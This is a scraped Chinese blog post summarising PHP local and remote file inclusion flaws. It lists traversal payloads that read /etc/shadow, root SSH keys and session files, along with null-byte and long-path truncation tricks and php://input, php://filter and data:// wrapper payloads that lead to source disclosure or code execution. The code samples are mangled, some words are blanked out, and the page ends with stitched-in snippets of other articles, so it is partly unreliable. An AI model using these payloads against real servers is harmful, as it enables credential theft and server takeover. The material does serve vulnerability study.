PHP檔案包含漏洞總結

2021-09-08 17:25:38 字數 2980 閱讀 7939

php檔案包含漏洞的產生原因是在通過php的函式引入檔案時,由於傳入的檔名沒有經過合理的校驗,從而操作了預想之外的檔案,就可能導致意外的檔案洩露甚至惡意的**注入。

最常見的就屬於本地檔案包含(local file inclusion)漏洞了。

我們來看下面一段index.php**:

if ($_get['func']) else 1

2

3

4

5

if($_get['func'])else

程式的本意可能是當提交url為時,呼叫add.php裡面的樣式內容和功能。直接訪問則會包含預設的default.php

那麼問題來了,如果我們提交?func=upload/pic/evil.jpg ,且evil.jpg是由黑客上傳到伺服器上的乙個,在的末尾新增了惡意的php**,那麼惡意的**就會被引入當前檔案執行。

如果被包含的檔案中無有效的php**,則會直接把檔案內容輸出。

在接下來的內容中會以**樣本作為例子,來給大家介紹各種奇葩猥瑣的利用姿勢。

<?php include("inc/" . $_get['file']); ?>

1<?phpinclude ("inc/".$_get['file']);?>

?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/lib/mlocate/mlocate.db

(linux中這兩個檔案儲存著所有檔案的路徑,需要root許可權)

(更多→

?file=../attachment/media/***.file

?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7

(session檔案一般在/tmp目錄下,格式為sess_[your phpsessid value],有時候也有可能在/var/lib/php5之類的,在此之前建議先讀取配置檔案。在某些特定的情況下如果你能夠控制session的值, 也許你能夠獲得乙個shell)

/root/.ssh/authorized_keys

/root/.ssh/id_rsa

/root/.ssh/id_rsa.keystore

/root/.ssh/id_rsa.pub

/root/.ssh/known_hosts

/etc/shadow

/root/.bash_history

/root/.mysql_history

/proc/self/fd/fd[0-9]* (檔案識別符號)

/proc/mounts

/proc/config.gz

參見<?php include("inc/" . $_get['file'] . ".htm"); ?>

1

<?phpinclude ("inc/".$_get['file'].".htm");?>

?file=../../../../../../../../../etc/passwd%00

(需要 magic_quotes_gpc=off,php小於5.3.4有效)

?file=../../../../../../../../../var/www/%00

(需要 magic_quotes_gpc=off,unix檔案系統,比如freebsd,openbsd,netbsd,solaris)

?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.

(php版本小於5.2.8(?)可以成功,linux需要檔名長於4096,windows需要長於256)

?file=../../../../../../../../../boot.ini/………[…]…………

(php版本小於5.2.8(?)可以成功,只適用windows,點號需要長於256)

(需要allow_url_fopen=on並且 allow_url_include=on)

?file=php://input

?file=php://filter/convert.base64-encode/resource=index.php

(同上)

?file=data://text/plain;base64,ssbsb3zlifbiuao=

(需要allow_url_include=on)

?file=

(需要allow_url_fopen=on,allow_url_include=on並且防火牆或者白名單不允許訪問外網時,先在同站點找乙個xss漏洞,包含這個頁面,就可以注入惡意**了。條件非常極端和特殊- -)

<?php include($_get['file'] . ".htm"); ?>

1<?phpinclude ($_get['file'].".htm");?>

(需要allow_url_fopen=on並且allow_url_include=on)

其實在前面也說了,這些漏洞產生原因是php函式在引入檔案時,傳入的檔名沒有經過合理的校驗,從而操作了預想之外的檔案。實際上我們操作檔案的函式不只是include()乙個,上面提到的一些截斷的方法同樣可以適用於以下函式:

PHP檔案包含漏洞總結

php檔案包含漏洞的產生原因是在通過php的函式引入檔案時,由於傳入的檔名沒有經過合理的校驗,從而操作了預想之外的檔案,就可能導致意外的檔案洩露甚至惡意的 注入。最常見的就屬於本地檔案包含 local file inclusion 漏洞了。我們來看下面一段index.php 1 2 3 4 5 if...

PHP檔案包含漏洞總結

0x00 前言 php檔案包含漏洞的產生原因是在通過php的函式引入檔案時,由於傳入的檔名沒有經過合理的校驗,從而操作了預想之外的檔案,就可能導致意外的檔案洩露甚至惡意的 注入。最常見的就屬於本地檔案包含 local file inclusion 漏洞了。我們來看下面一段index.php 純文字檢...

PHP檔案包含漏洞

php的檔案包含可以直接執行包含檔案的 包含的檔案格式是不受限制的。檔案包含分為本地文字包含 local file include 和遠端檔案包含 remote file include 檔案包含函式有 include include once require 和require once 它們之間的...